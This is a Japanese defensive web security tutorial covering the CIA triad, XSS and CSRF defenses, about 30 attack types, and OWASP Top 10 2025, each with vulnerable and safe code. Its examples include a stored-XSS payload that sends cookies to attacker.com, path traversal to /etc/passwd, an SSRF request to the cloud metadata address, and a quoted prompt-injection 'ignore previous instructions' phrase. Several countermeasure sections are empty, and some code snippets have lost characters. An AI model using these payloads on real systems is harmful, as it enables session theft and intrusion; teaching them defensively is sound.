Webセキュリティ

目次

概要

入力処理・認証・ブラウザ制御・依存関係管理をつなげる

Webセキュリティは、入力処理、認証、認可、ブラウザ制御、依存関係管理が複雑に絡み合う領域です。この章では、実装とレビューの両方で使えるように、攻撃手法と対策を対応づけて整理します。

この章で重視すること

  • 入力、認証、認可、ブラウザ制御、依存関係管理を別々ではなく一連の防御面として捉える
  • 攻撃手法ごとに「どこで壊れ、どこで防ぐか」を実装観点で対応づける
  • Web固有の脆弱性を、API、クラウド、生成AIを含む現代的な構成へ接続して理解する
要点

Webセキュリティは、個別の脆弱性名を覚えるだけでは足りません。入力、状態管理、権限、出力、運用の流れを通して見ると、攻撃と対策のつながりが見えやすくなります。

はじめに

Webセキュリティの重要性

2026年、Webアプリケーションはビジネス機能の核となり、その安全性はユーザーの信頼とデータ保護の基礎です。サイバー脅威は日々進化し、攻撃手法は更に巧妙化しています。

2026年の脅威トレンド:

  • AI駆動の攻撃自動化 — 脆弱性スキャンが秒単位で完了
  • ゼロデイ悪用の加速 — 修正前の脆弱性が即座に利用される
  • APIセキュリティの重要化 — モダンアプリケーションがAPI中心へ移行
  • 供給チェーン攻撃 — 依存関係の脆弱性を通じた侵害
  • 認証・認可攻撃の激増 — クレデンシャル窃取・不正使用

Webセキュリティの基本概念

この章では、後続の攻撃手法や対策を理解するための土台として、まず「何を守るのか」と「なぜ多層防御が必要なのか」を整理します。

セキュリティの三本柱(CIAトライアド)

難しく見えますが、要するに「見られてはいけない人に見られない」「勝手に書き換えられない」「必要なときに使える」の3つです。

1. 機密性 (Confidentiality)

  • 目的: データが不正アクセスから保護
  • 実装方法: HTTPS/TLS、暗号化、アクセス制御
  • 実例: パスワード、ユーザーデータ、APIキー

2. 完全性 (Integrity)

  • 目的: データが改ざんされていないこと
  • 実装方法: デジタル署名、ハッシング、チェックサム
  • 実例: トランザクション、契約内容、ドキュメント

3. 可用性 (Availability)

  • 目的: システムが必要なとき利用可能
  • 実装方法: DDoS対策、冗長性、キャッシング
  • 実例: サービス停止の回避、パフォーマンス維持

深層防御(Defense in Depth)の重要性

セキュリティは単一の対策では不十分。複数の重層的な防御層が必要です: 初心者向けに言えば、「1つの鍵だけに頼らず、玄関・部屋・金庫と何段階かで守る」考え方です。

flowchart TB L1["層1: ブラウザセキュリティ<br/>CSP、X-Frame-Options、SameSiteクッキー"] L2["層2: 転送層セキュリティ<br/>HTTPS/TLS 1.3、HSTS、証明書ピニング"] L3["層3: アプリケーション層セキュリティ<br/>入力検証、認証、認可、ログ、暗号化"] L4["層4: データベース層セキュリティ<br/>最小権限の原則、パラメータ化クエリ、暗号化"] L5["層5: インフラ層セキュリティ<br/>WAF、IDS/IPS、ネットワークセグメンテーション"] S["1つの層が破られても、他が保護を継続"] L1 --> L2 --> L3 --> L4 --> L5 --> S

XSSとCSRFの防御設計

Webアプリケーションでは、入力値を「受け取る」瞬間よりも、入力値を「どこへ出すか」「どの状態変更に使うか」で危険度が変わります。XSSは出力先の文脈、CSRFはブラウザが自動送信するCookieと状態変更リクエストの関係を中心に見ると整理しやすくなります。

flowchart LR I["未信頼入力"] --> V["型・形式・長さを検証"] V --> C{"どこへ出力するか"} C --> H["HTML本文<br/>HTMLエンコード"] C --> A["HTML属性<br/>属性エンコード"] C --> U["URL<br/>URLエンコード後に属性エンコード"] C --> J["JavaScript<br/>原則として埋め込まない"] C --> S["ユーザー生成HTML<br/>サニタイズ"] H --> D["安全なDOM操作"] A --> D U --> D J --> D S --> D D --> P["CSP・HttpOnly Cookieで被害を抑える"]
観点 設計時に見ること 実装の基本
HTML本文 テキストとして表示したいだけか テンプレートの自動エスケープ、textContent
HTML属性 属性名が固定で安全か setAttribute は安全な属性名だけに使う
URL パラメータなのか、URL全体なのか パラメータをURLエンコードし、HTML属性としてもエンコードする
JavaScript 文字列をコードとして解釈していないか インラインJS、eval()、動的なイベント属性を避ける
HTML投稿 ユーザーに装飾や構造を許す必要があるか DOMPurifyなどでサニタイズし、ライブラリを更新し続ける
CSP XSSの根本対策として頼っていないか 最後の被害軽減策として使い、出力エンコードを省略しない

CSRFは「ログイン済みCookieが自動で付く」ことを前提に、状態変更リクエストを複数の層で守ります。GETHEADOPTIONS は安全なメソッドとして扱い、状態変更をさせないことが出発点です。

flowchart TD R["状態変更リクエスト"] --> M{"安全でないHTTPメソッドか"} M -->|いいえ| G["GETで状態を変えない設計に戻す"] M -->|はい| T["CSRFトークンを検証"] T --> O["Origin / Refererを確認"] O --> F["Sec-Fetch-SiteなどFetch Metadataを確認"] F --> C["SameSite・Secure・HttpOnly Cookieを併用"] C --> L["失敗時は拒否し、ログに残す"]
構成 主な対策 注意点
サーバーセッション型 Synchronizer Token Pattern トークンをURLやログに漏らさない
stateless API 署名付きDouble Submit Cookie セッション固有値に結びつけ、単なる一致確認にしない
SPA / AJAX カスタムヘッダーでトークン送信 CORS設定とセットで確認する
Cookie SameSite=Lax または Strict 単独のCSRF対策として過信しない
モダンブラウザ Fetch Metadata 送られないクライアント向けのフォールバックも用意する
要点

XSSは「入力を消す」問題ではなく「出力先に合わせて無害化する」問題です。CSRFは「トークンを入れる」だけでなく、HTTPメソッド、Origin、Fetch Metadata、Cookie属性を組み合わせて状態変更を守ります。


包括的な攻撃手法30+ 詳細ガイド

Webセキュリティにおける主要な攻撃手法を30以上、カテゴリ別に詳細に解説します。各攻撃について、仕組み・被害・対策を初心者にも分かりやすく説明します。 最初はすべてを暗記しようとせず、仕組み代表的な対策 を対応づけながら読むと理解しやすくなります。

1. インジェクション攻撃(7種類)

インジェクション攻撃は、入力フォームやURLパラメータに不正なコードを埋め込み、サーバー側が意図しない処理を実行させる攻撃の総称です。データベースクエリ、OSコマンド、テンプレートエンジンなど、様々なレベルで発生します。 初心者向けに言うと、本来は「ただの文字」として扱うべき入力が、アプリやデータベースに「命令」として解釈されてしまう攻撃です。

1.1 SQLインジェクション

要点

入力欄に入れた文字がSQL命令として実行されてしまう攻撃です。

仕組み: データベースクエリが入力値を直接埋め込む場合、攻撃者がSQL文法として機能するペイロードを挿入します。

次の表は、文字列連結でSQLを作る危険な例と、プレースホルダーを使う安全な例を並べたものです。

脆弱な実装 安全な実装
"SELECT * FROM users WHERE name = '" + userInput + "'" db.query("SELECT * FROM users WHERE name = ?", [userInput]) または db.query("SELECT * FROM users WHERE name = :name", {name: userInput})

被害: データベース全体の読み取り・改ざん・削除、管理者権限乗っ取り

対策:

1.2 NoSQLインジェクション

要点

JSONやクエリ条件に細工して、NoSQLデータベースの検索条件をすり替える攻撃です。

仕組み: MongoDB、DynamoDBなどのNoSQLデータベースに対しても、JSONオブジェクト挿入による攻撃が可能です。NoSQL は、表形式のSQLデータベース以外のデータストア全般を指し、JSON風の条件式やドキュメント構造をそのまま扱うことが多い点が特徴です。

脆弱な実装 安全な実装
db.collection('users').find({name: userInput}) db.collection('users').find({name: {$eq: userInput}}) または 文字列のみ許可

被害: NoSQLインジェクションの結果、意図しないデータアクセス・改変

対策:

1.3 XXE (XML外部エンティティ) インジェクション

要点

XMLの機能を悪用して、サーバーに外部ファイルや内部URLを読ませる攻撃です。

仕組み: XMLパーサーが外部エンティティ(外部ファイルやURL)を処理し、ローカルファイル読み込み、SSRF、DoSが可能になります。

被害例:

  • /etc/passwd などシステムファイルの読み込み
  • 内部ネットワークのSSRF攻撃
  • Billion Laughs攻撃(XMLボムによるメモリ枯渇)

対策:

1.4 OSコマンドインジェクション

要点

アプリが裏で実行するOSコマンドに、攻撃者の命令をまぎれ込ませる攻撃です。

仕組み: Webアプリケーションがユーザー入力をOSシェルコマンドに埋め込む場合、攻撃者がシステムコマンドを追加実行できます。

次の表では、「シェルに渡す」実装と「言語機能で処理する」実装の違いを見ます。

脆弱な実装 安全な実装
exec("ls " + userInput) os.listdir(userInput) または 正規化・検証後の実行

被害: サーバー上での任意コマンド実行、ファイル盗聴、マルウェア設置

対策:

1.5 LDAPインジェクション

要点

社内ディレクトリや認証基盤の検索条件を不正に書き換える攻撃です。

仕組み: LDAP(ディレクトリサービス)検索フィルタに、制御文字や不正な論理演算子を挿入し、認証回避・データ抜き出しを行います。LDAP は社内のユーザー一覧や認証基盤をまとめる仕組みとして使われることが多く、ここが破られると組織全体の認証情報や属性情報に影響しやすいです。

被害: 認証回避、ユーザー情報漏洩、権限昇格

対策:

1.6 SSTI (Server-Side Template Injection)

要点

画面表示用のテンプレートに、データではなく命令として入力が混ざってしまう攻撃です。

仕組み: テンプレートエンジン(Jinja2、Thymeleafなど)がユーザー入力をテンプレート変数として処理し、テンプレートロジックが実行される場合、任意コード実行が可能です。テンプレートエンジン はHTMLを組み立てるための仕組みで、本来はデータを差し込むだけの場所に命令まで入ると危険になります。

脆弱な実装 安全な実装
template.render(user_input=request.args.get('name')) template.render(user_input=escape(request.args.get('name')))

被害: サーバー側でのコード実行、ファイル読み込み、リモートコード実行(RCE)

対策:

1.7 XPathインジェクション

要点

XMLを検索する式に細工を入れて、見えてはいけないデータを読ませる攻撃です。

仕組み: XMLドキュメントをクエリするXPath式がユーザー入力を直接含む場合、攻撃者がXPath論理式を挿入し、意図しないデータ抽出が可能です。

被害: 認証回避、データ抜き出し、プライバシー侵害

対策:


2. スクリプティング攻撃(4種類)

初心者向けに言うと、画面に表示されるはずの文字列の中へスクリプトを混ぜ込み、利用者のブラウザ側で悪意ある処理を動かす攻撃です。

2.1反射型XSS (Reflected XSS)

要点

リンクや検索語に混ぜたスクリプトが、その場で利用者のブラウザで動く攻撃です。

仕組み: 攻撃者が悪意あるスクリプトをURLに含める → ユーザーがそのリンクをクリック → スクリプトがユーザーのブラウザで実行される

実例:

  • 検索フォーム:https://example.com/search?q=<script>alert('xss')</script>
  • ユーザーが検索結果ページを見ると、スクリプトが実行

被害: Cookie盗聴、キーロギング、フィッシング誘導、マルウェア配布

対策:

2.2格納型XSS (Stored XSS)

要点

悪意あるスクリプトをコメントや投稿として保存し、あとで見た人全員に実行させる攻撃です。

仕組み: 攻撃者が悪意あるスクリプトをサーバーのデータベースに保存 → ページを見た全ユーザーのブラウザでスクリプト実行

実例:

  • SNSコメント:こんにちは<script>window.location='https://attacker.com/steal?cookie='+document.cookie</script>
  • 他のユーザーがコメントを見ると、攻撃者にクッキーが送信される

被害: 大規模なユーザー情報漏洩、ボットネット化、マルウェア配布

対策:

2.3 DOMベースXSS (DOM XSS)

要点

サーバーではなくブラウザ側のJavaScript処理のすき間を突くXSSです。

仕組み: JavaScriptがDOM(ページの構造)を操作する際、innerHTMLeval() などを使って、ユーザー入力を直接実行する場合、XSSが発生します。

次の表は、ブラウザ側で危険になりやすいDOM操作と、比較的安全な置き換え方を並べています。

脆弱な実装 安全な実装
document.getElementById('output').innerHTML = userInput document.getElementById('output').textContent = userInput または document.createElement() を使用

特徴: サーバーログに痕跡が残らないことが多い(サーバー側で検出困難)

対策:

2.4突然変異型XSS (Mutated XSS / mXSS)

要点

一見安全に見える入力が、ブラウザの解釈途中で危険なコードに変わってしまうXSSです。

仕組み: エンコーディング・正規化の過程で、安全に見えるコードが最終的に実行可能なコードに変換される場合、XSSが発生します。mXSS は、アプリ側のフィルタ結果よりもブラウザのHTMLパーサーの解釈が優先されて、後から危険な形に化けるタイプのXSSです。

例: <noscript><p title=</noscript><img src=x onerror=alert(1)> は、ブラウザによって解析されるとき、有効なXSSペイロードになる可能性があります。

対策:


3. リクエスト・認可攻撃(5種類)

初心者向けに言うと、「その操作をしてよい人か」「そのデータを見てよい人か」の確認が甘いところを突く攻撃です。

3.1 CSRF (Cross-Site Request Forgery)

要点

ログイン済みの利用者のブラウザを勝手に使って、別サイトへ操作させる攻撃です。

仕組み: ユーザーが銀行サイト(ログイン中)に留まったまま、別タブで悪意あるサイトを開く → 悪意あるサイトから銀行サイトへの不正リクエストが自動的に送信

実例:

<!-- attacker.comのページ -->
<img src="https://bank.com/transfer?amount=1000&to=attacker" />

ユーザーがこのページを見ると、ブラウザが自動的に銀行の送金リクエストを送信

被害: 不正な送金・買い物、プロフィール改ざん、パスワード変更

対策:

  • CSRFトークン: statefulなアプリではSynchronizer Token Patternを使い、状態変更リクエストで検証する
  • 署名付きDouble Submit Cookie: statelessな構成ではこちらを検討する
  • SameSiteクッキー: Set-Cookie: sessionId=abc; SameSite=Lax または Strict を併用するが、トークン対策の代替にはしない
  • Origin / Refererチェック: リクエスト元が信頼できるドメインかを確認
  • API / SPA: フォームがない場合はカスタムヘッダーでCSRFトークンを送る

ここでいう stateful はサーバー側にセッション状態を持つ構成、stateless はサーバー側に状態を持たずCookieやトークンだけで判定する構成です。Synchronizer Token Pattern はサーバー保存済みトークンとの照合、Double Submit Cookie はCookieとリクエスト値の一致確認を使う方式です。

3.2水平的特権昇格 (Horizontal Privilege Escalation)

要点

同じ一般ユーザーどうしの境界を越えて、他人のデータを見る攻撃です。

仕組み: 同じ権限レベルの別のユーザーのリソースに不正アクセス

実例:

  • ユーザーAが /profile/123(自分のプロフィール)にアクセス可能
  • ユーザーAがURLを /profile/124 に変更 → ユーザーBのプロフィール情報が見える

被害: 他ユーザーの個人情報・プライバシー漏洩

対策:

3.3垂直的特権昇格 (Vertical Privilege Escalation)

要点

一般ユーザーが管理者向けの機能まで使えてしまう状態を悪用する攻撃です。

仕組み: 低権限ユーザーが、高権限(管理者など)の機能にアクセス

実例:

  • 一般ユーザーが /admin/delete-user にアクセス → 管理者の許可なくユーザーを削除できる
  • トークン改ざん:JWTの role フィールドを user から admin に変更

被害: システム全体の制御奪取、全データへのアクセス、ユーザー削除

対策:

3.4セッション固定化 (Session Fixation)

要点

攻撃者が用意したセッションIDのまま利用者をログインさせて、あとから乗っ取る攻撃です。

仕組み: 攻撃者が予めセッションIDを生成 → ユーザーにそのセッションIDでログインさせる → ユーザーのアクション後、攻撃者が同じセッションIDで侵害

実例:

  1. 攻撃者:https://example.com/?sessionId=abc123 のリンクを作成
  2. ユーザーがそのリンクをクリック → sessionId=abc123 でログイン
  3. 攻撃者:ブラウザで sessionId=abc123 を使用 → ユーザーになりすまし可能

対策:

3.5 OAuth / OpenID Connect攻撃 & IDOR

要点

ログイン連携やID指定の仕組みの確認不足を突いて、他人の情報や権限に触る攻撃です。

OAuth攻撃: リダイレクトURL検証不足、状態パラメータ検証漏れ

OAuth は「他サービスのアカウントでログインする」ための委任プロトコル、OpenID Connect はその上に本人確認情報を載せた仕組みです。ここでいう 状態パラメータstate のことで、ログイン途中のリクエストが本当に自分の操作に対応するものかを確かめるために使います。

IDOR (Insecure Direct Object Reference):

  • リソースへのアクセス制御がIDのみで判定される場合、IDを変更してアクセス制御回避
  • 例:/api/invoices/123/api/invoices/124 で他人の請求書が見える

対策:


4. ネットワーク層攻撃(4種類)

初心者向けに言うと、アプリ本体ではなく、通信の途中やヘッダー処理のすき間を狙って情報を盗んだり、別の場所へ流したりする攻撃です。

4.1中間者攻撃 (Man-in-the-Middle / MitM)

要点

利用者とサーバーの通信の間に割り込んで、のぞき見や改ざんをする攻撃です。

仕組み: 攻撃者が通信の間に位置し、通信内容を盗聴・改ざんする

実例:

  • 公開WiFiでのHTTP通信の盗聴
  • ARPスプーフィング:攻撃者がMACアドレスを詐称し、通信をリダイレクト

被害: パスワード・個人情報盗聴、通信改ざん(フィッシング誘導など)

対策:

4.2ホストヘッダー インジェクション

要点

Host ヘッダーをだまして、アプリに間違ったURLやドメインを信じ込ませる攻撃です。

仕組み: HTTPホストヘッダーが入力検証されない場合、攻撃者が任意のホストヘッダーを設定 → パスワードリセットリンク・メール送信時に悪意あるドメインが含まれる可能性

被害: ユーザーが悪意あるサイトにリダイレクト → 認証情報奪取、フィッシング

対策:

4.3キャッシュポイズニング (Cache Poisoning)

要点

共有キャッシュに悪い内容を保存させて、他の利用者にも配ってしまう攻撃です。

仕組み: CDN・プロキシ・ブラウザキャッシュに、悪意あるレスポンスを保存させ、他ユーザーが受け取る

被害: XSSペイロード配布、フィッシング、マルウェア配布

対策:

4.4 HTTPリクエストスマグリング (Request Smuggling)

要点

サーバーごとのHTTP解釈のずれを使って、裏側へ不正なリクエストを紛れ込ませる攻撃です。

仕組み: 複数のサーバー(ロードバランサー・プロキシ・Webサーバー)がHTTPリクエストを異なる方法で解析する場合、攻撃者が意図しない動作を引き起こす

被害: キャッシュポイズニング、認証バイパス、XSS

対策:


5. データ漏洩・情報開示攻撃(5種類)

初心者向けに言うと、本来は外から見えないはずのファイル、設定、エラーメッセージ、内部情報が見えてしまう状態を悪用する攻撃です。

5.1情報開示 (Information Disclosure)

要点

エラー画面や設定ファイルなどから、攻撃の手がかりになる内部情報が漏れる問題です。

仕組み: エラーメッセージ・ログ・ソースコード・設定ファイルから、セキュリティに関する情報が漏洩

実例:

  • エラーメッセージ:SQL Error: "users" table not found → テーブル名が分かる
  • ソースマップ公開:JavaScriptを難読化していても、.map ファイルでソースコード回復可能

被害: 攻撃面の特定、脆弱性発見の支援

対策:

5.2パストラバーサル (Path Traversal / Directory Traversal)

要点

../ などで本来見せないフォルダまでたどって、サーバー内のファイルを読む攻撃です。

仕組み: ファイルパスに ../ を使い、サーバーの想定外のディレクトリにアクセス

実例:

  • /files/document.pdf/files/../../../etc/passwd/etc/passwd へアクセス
  • Windows:\files\..\..\..\windows\win.ini

被害: システムファイル読み込み(.env 、設定ファイル、ソースコード)

対策:

5.3ファイルアップロード 脆弱性

要点

アップロードしたファイルを安全に扱えず、サーバー上で危険なファイルを動かされる問題です。

仕組み: ユーザーアップロードファイルの検証が不足し、悪意あるファイル(PHPシェル、実行可能ファイル)がサーバーに保存・実行される

被害: リモートコード実行、サーバー侵害、マルウェア配布

対策:

5.4ビジネスロジック脆弱性 (Business Logic Vulnerability)

要点

システムの業務ルールそのものの抜け道を突いて、不正に得をする攻撃です。

仕組み: アプリケーションのビジネスルールに矛盾・漏れがある場合、攻撃者がそれを悪用

実例:

  • ECサイト:割引コードを複数回使用可能 → 無料で買い物
  • 銀行アプリ:送金手数料を計算する前にキャンセルすると、手数料が請求されない

被害: 不正な利益、ビジネス損失

対策:

5.5 SSRF (Server-Side Request Forgery)

要点

サーバー自身に別のURLへアクセスさせて、内部ネットワークを探らせる攻撃です。

仕組み: WebアプリケーションがURLを入力として受け取り、サーバー側からそこにリクエストを送信する場合、攻撃者が内部ネットワークへのリクエストを強制できる

実例:

  • 画像プロキシ機能:/proxy?url=https://example.com/image.jpg
    • 攻撃者:/proxy?url=http://localhost:8080/admin → 内部ネットワークへアクセス可能
    • メタデータサービス:/proxy?url=http://169.254.169.254/latest/meta-data/ (AWS) → インスタンスロールの認証情報が取得される

被害: 内部ネットワーク探索、メタデータサービス アクセス、ポートスキャン

対策:


6. 暗号化・認証攻撃(4種類)

初心者向けに言うと、ログインの仕組みやパスワード保護、暗号化の弱い部分を突いて、本人になりすましたり秘密情報を盗んだりする攻撃です。

6.1ブルートフォース攻撃 (Brute Force Attack)

要点

パスワードやコードを大量に総当たりで試す、力押しの攻撃です。

仕組み: パスワード・PIN・トークンを片っ端から試し、正解を見つける

実例:

  • ログイン画面:6桁PINをすべて試す(0000~9999)
  • APIトークン:既知の形式のトークンをすべて生成・送信

被害: アカウント乗っ取り

対策:

6.2パスワードリセット脆弱性

要点

「パスワードを忘れた場合」の救済機能が弱く、そこから乗っ取られる問題です。

仕組み: パスワードリセット機能の実装が不十分で、他ユーザーのパスワードをリセット可能

実例:

  • リセットリンク:/reset?user=123&token=abctoken=abc を奪取・推測すれば他ユーザーのパスワード変更可能
  • リセット質問:あなたのペットの名前は? → 公開情報で回答可能

被害: アカウント乗っ取り

対策:

6.3 JWT攻撃

要点

ログイン後のトークンの署名確認や設定ミスを突いて、なりすましを行う攻撃です。

仕組み: JWTの署名検証が不十分、または署名アルゴリズムが弱い場合、攻撃者がJWTを改ざん・生成

実例:

  • 署名検証漏れ:jwt.decode(token) のみ実行 → jwt.verify(token, secret) をしない
  • アルゴリズム変更:署名アルゴリズムを HS256none に変更 → 署名なしで有効なJWT
  • 秘密鍵露出:GitHubに誤ってコミット → 攻撃者が任意のJWTを署名・生成

被害: 権限昇格、アカウント乗っ取り

対策:

6.4レース条件 (Race Condition)

要点

同時実行のタイミングのずれを使って、本来起きない処理順を作る攻撃です。

仕組み: 複数のリクエストが同時に処理される場合、タイミングの問題で意図しない状態になる

実例:

  • 残高確認:残高 $100
  • 同時に2つの引き出し:60` + 60` を同時リクエスト
  • → 両方成功してしまい、残高 = -$20(本来は1つはエラーになるべき)

被害: 不正な取引、ビジネスロジック破綻

対策:


7. デバイス・設定攻撃(3種類)

初心者向けに言うと、アプリのコードそのものよりも、設定ミスや運用の甘さを足がかりにして侵入する攻撃です。

7.1クリックジャッキング (Clickjacking)

要点

見えているボタンの下に本物の画面を重ねて、意図しないクリックをさせる攻撃です。

仕組み: 攻撃者が透明なiframeでサイトを覆い、ユーザーが無意識に不正なボタンをクリック

実例:

<!-- attacker.com -->
<iframe src="https://facebook.com" style="opacity: 0; position: absolute;"></iframe>
<button style="position: absolute;">Click here to win a prize!</button>

ユーザーが「Click here」をクリック → 実はFacebookのiframe内の「いいね」ボタン

被害: Facebookページの「いいね」、Twitterのフォロー、機密な設定変更

対策:

7.2不安全な逆シリアライゼーション (Unsafe Deserialization)

要点

外から受け取ったデータをそのままオブジェクトに戻し、危険な処理まで動かしてしまう問題です。

仕組み: シリアライズされたオブジェクトをデシリアライズ(復元)するとき、悪意あるオブジェクトが復元される場合、コード実行が可能

言語別の被害:

  • JavaObjectInputStream.readObject() で任意クラス実行
  • Pythonpickle.loads() で任意コード実行
  • PHPunserialize() でオブジェクト注入

被害: リモートコード実行、サーバー侵害

対策:

7.3設定ミス (Misconfiguration)

要点

機能は正しく作っていても、公開設定やデバッグ設定の甘さで破られる問題です。

仕組み: セキュリティ設定が不適切、またはセキュリティ機能が無効化されている

実例:

  • AWS S3バケット:公開アクセス許可 → 全データが公開
  • Dockerイメージ:rootユーザーで実行 → コンテナからホストへの侵害
  • デバッグ機能:本番環境で有効 → エラーメッセージがソースコード露出

被害: データ漏洩、アカウント乗っ取り、サーバー侵害

対策:


8. API・新技術攻撃(4種類)

初心者向けに言うと、APIやLLM(Large Language Model: 大規模言語モデル)のような新しい仕組みで、認可や入力制御が追いついていない部分を突く攻撃です。

8.1 GraphQL攻撃

要点

便利なAPIの問い合わせ機能を悪用して、取りすぎ・重すぎ・見えすぎを引き起こす攻撃です。

仕組み: GraphQLエンドポイントが過度なクエリ、複雑なネスティング、過剰なフィールド公開、危険なデフォルト設定を許可する場合、DoS・情報漏洩・認可不備が発生します。GraphQL は必要な項目だけを問い合わせるAPI方式で、field は返したい個々の項目、mutation はデータ変更系の操作です。

実例:

  • Batch Query:1000件のユーザー情報を同時リクエスト
  • Recursive Query:無限ネスティング → メモリ枯渇・DOS
  • Introspection有効:本番でスキーマ全体を列挙される
  • GraphiQL有効:本番環境で探索・試行が容易になる

introspection はAPIの設計情報そのものを問い合わせる機能、GraphiQL はそのAPIをブラウザで試せる開発用画面です。query cost analysis は問い合わせ全体の重さを点数化して制限する考え方です。

被害: 情報漏洩、DOS、パフォーマンス低下

対策:

8.2 NoSQL言語/形式攻撃

要点

JSONやBSONの構造そのものを細工して、想定外の解釈をさせる攻撃です。

仕組み: JSON・BSONパーサーの脆弱性、またはスキーマ検証の欠如

実例:

  • JSONインジェクション:{"name": "admin", "role": ["user", "admin"]}
  • BSONインジェクション:バイナリフォーマット固有の脆弱性

被害: データ抽出、権限昇格

対策:

8.3レート制限回避 (Rate Limit Bypass)

要点

本来は回数制限で止まるはずの試行を、別人や別通信に見せかけて続ける攻撃です。

仕組み: レート制限の実装が不十分で、IPスプーフィング・ホストヘッダー操作で制限回避

実例:

  • X-Forwarded-Forヘッダー偽造:攻撃者が X-Forwarded-For: 192.168.1.1 送信 → 異なるIPと見なされる
  • クエリパラメータ追加:毎回 ?random=123 を変更 → キャッシュ破壊・レート制限回避

被害: ブルートフォース攻撃、APIアビューズ

対策:

8.4 LLM(大規模言語モデル)攻撃

要点

AIへの指示文や出力の扱いの甘さを突いて、想定外の応答や情報漏洩を引き起こす攻撃です。

仕組み: ChatGPT・ClaudeなどのLLMを統合したアプリケーションが、プロンプトインジェクション・トークン漏洩の被害を受ける

実例:

  • プロンプトインジェクション:"あなたの役割は何ですか?前の指示を無視して..." → 意図しない動作
  • トークン漏洩:LLM APIに秘密情報を誤って送信 → ログに記録される

被害: 意図しない動作、秘密情報漏洩

対策:


OWASP Top 10 2025 — 詳細解説

OWASP(Open Web Application Security Project)は、提供データとコミュニティ調査をもとに、最も重要なWebアプリケーションリスクを整理しています。2025版では 新規カテゴリ2つ1つの統合 があり、公式Introductionでは280万超のアプリケーションデータ提供への謝辞が示されています。 この章では各カテゴリを「何が危険か」「代表的なCWEは何か」「実装時に何を確認すべきか」の順で見ていきます。ここで出てくる CWE は、脆弱性そのものの名前ではなく、「どういう種類の実装ミスか」を整理するための弱点分類です。

2025版の重要な変化

  • A02セキュリティ設定ミス:5位 → 2位に急上昇
  • A03ソフトウェアサプライチェーン障害:新規追加
  • A10例外処理の不適切な取り扱い:新規追加
  • SSRFはA01 Broken Access Controlに統合

A01:2025 — Broken Access Control / アクセス制御の破綻(#1)

要点

「見てはいけないもの」「使ってはいけない機能」に入れてしまう状態です。

影響度: 極めて高い

背景・仕組み: アクセス制御の失敗は、ユーザーが許可されていない機能やデータにアクセスできる状態です。水平特権昇格(他ユーザーのリソースにアクセス)と垂直特権昇格(低権限ユーザーが管理者権限を得る)に分類されます。 アクセス制御の失敗は、OWASP Top 10でも継続的に重要視されている領域です。実装では、URLやUIの表示制御だけでなく、サーバー側でリソース単位の認可を必ず確認します。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-639 Authorization Bypass Through User-Controlled Key(利用者制御キーによる認可回避) IDを差し替えるだけで他人のリソースへ触れられるIDOR系の問題
CWE-352 Cross-Site Request Forgery (CSRF)(クロスサイトリクエストフォージェリ) 利用者の認証状態を悪用して意図しない状態変更を起こす
CWE-918 Server-Side Request Forgery (SSRF)(サーバーサイドリクエストフォージェリ) URL指定機能などを経由して内部リソースへの到達を許す
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor(権限のない相手への機密情報露出) 本来見せてはいけない情報を権限外の相手へ露出する
CWE-201 Insertion of Sensitive Information Into Sent Data(送信データへの機密情報混入) 応答や送信データに不要な機密情報を含めてしまう
  • 補足: OWASP 2025では 40個のCWEがマップされている最大規模のカテゴリです。

実世界の事例:

事例 内容
Instagram 2019 IDOR脆弱性により、攻撃者が他ユーザーのIDをURLに代入して私的なストーリーや投稿を閲覧可能
GitHub 2022 権限昇格バグで、ユーザーが許可されていないリポジトリアクセス権を取得可能
Optus 2023 IDORで1000万件の顧客レコード に直接アクセス可能(豪通信会社)

攻撃シナリオ:

シナリオ1: IDOR(直接オブジェクト参照)
ユーザーAが /api/orders/123にアクセス → 自分の注文情報が見える
攻撃者がURLを /api/orders/124に変更 → ユーザーBの注文情報が見える

シナリオ2: 権限昇格
JWTトークンの "role": "user""role": "admin" に改ざん
署名検証が不十分なため、改ざんされたトークンが受け入れられる

シナリオ3: パストトラバーサル
/files/document.pdf → /files/../../../etc/passwdでシステムファイル にアクセス

脆弱なコード例:

次の表は、「IDを受け取ってそのまま返す」実装と、「所有者確認まで入れる」実装の差を示します。

脆弱な実装 安全な実装
const order = await db.query('SELECT * FROM orders WHERE id = 1’, [req.params.orderId])` const order = await db.query('SELECT * FROM orders WHERE id = 1 AND user_id = $2’, [req.params.orderId, req.user.id])`
if (req.user.role === 'admin') { // フロント側のチェック } server.get('/admin/delete', middleware.requireAdmin(), handler) // サーバー側で検証

対策のチェックリスト:

  • [ ] デフォルト拒否原則: すべてのリソースは「拒否」がデフォルト。明示的に許可するもののみ公開

  • [ ] サーバー側実装: フロントエンドのみの制御は無効。サーバー側で必ず検証

  • [ ] 所有権チェック: リソース取得時に user_id 確認 (WHERE id = ? AND user_id = ?)

  • [ ] ロール確認: JWT署名検証 → DBからロール取得 → トークンのロールは信頼しない

  • [ ] レート制限: APIエンドポイントへの過度なリクエスト制限(3回失敗後15分ロック)

  • [ ] 監査ログ: すべてのアクセス試行を記録・監視

  • A01 Broken Access Control - OWASP Top 10:2025

  • OWASP API Security Top 10 2023

  • OWASP ASVS 5.0.0


A02:2025 — Security Misconfiguration / セキュリティ設定ミス(#2新順位)

要点

コードより前に、設定や公開範囲の甘さで破られてしまう問題です。

影響度: 非常に高い

背景・仕組み: セキュリティ設定ミスは、クラウドインフラが複雑化した現在、最頻出の脆弱性です。デバッグモード有効、デフォルト認証情報、不必要なサービス公開、CORS設定が広すぎるなど、開発時の設定が本番環境に持ち込まれることが主原因です。 OWASP 2025では、平均で 3.00% のアプリケーションに、このカテゴリの16個のCWEのいずれかが存在したとされています。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-16 Configuration(設定不備) 設定起因の弱点を束ねる親カテゴリで、危険な既定値や本番設定ミスを含む
CWE-693 Protection Mechanism Failure(保護機構の失敗) 本来有効なはずの防御機構が欠落・無効化・誤設定されている
CWE-611 Improper Restriction of XML External Entity Reference(XML外部実体参照の不適切な制限) XMLパーサーの危険設定によりXXEやSSRFを招く
CWE-276 Incorrect Default Permissions(不適切な既定権限) ファイルやストレージが過剰な権限で作られる
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor(権限のない相手への機密情報露出) デバッグ情報や設定露出で機密情報が漏れる

実世界の事例:

事例 内容 影響
Equifax 2017 セキュリティパッチが未適用、ネットワークに境界なし、ログ不十分 1.47億人の個人情報漏洩
AWS S3設定ミス(多数) S3バケットが公開アクセス許可のままデプロイ 社員データ、医療情報、クレジット情報流出
Kubernetesダッシュボード ファイアウォール設定不十分で、インターネットから管理画面へアクセス可能 フルシステム制御
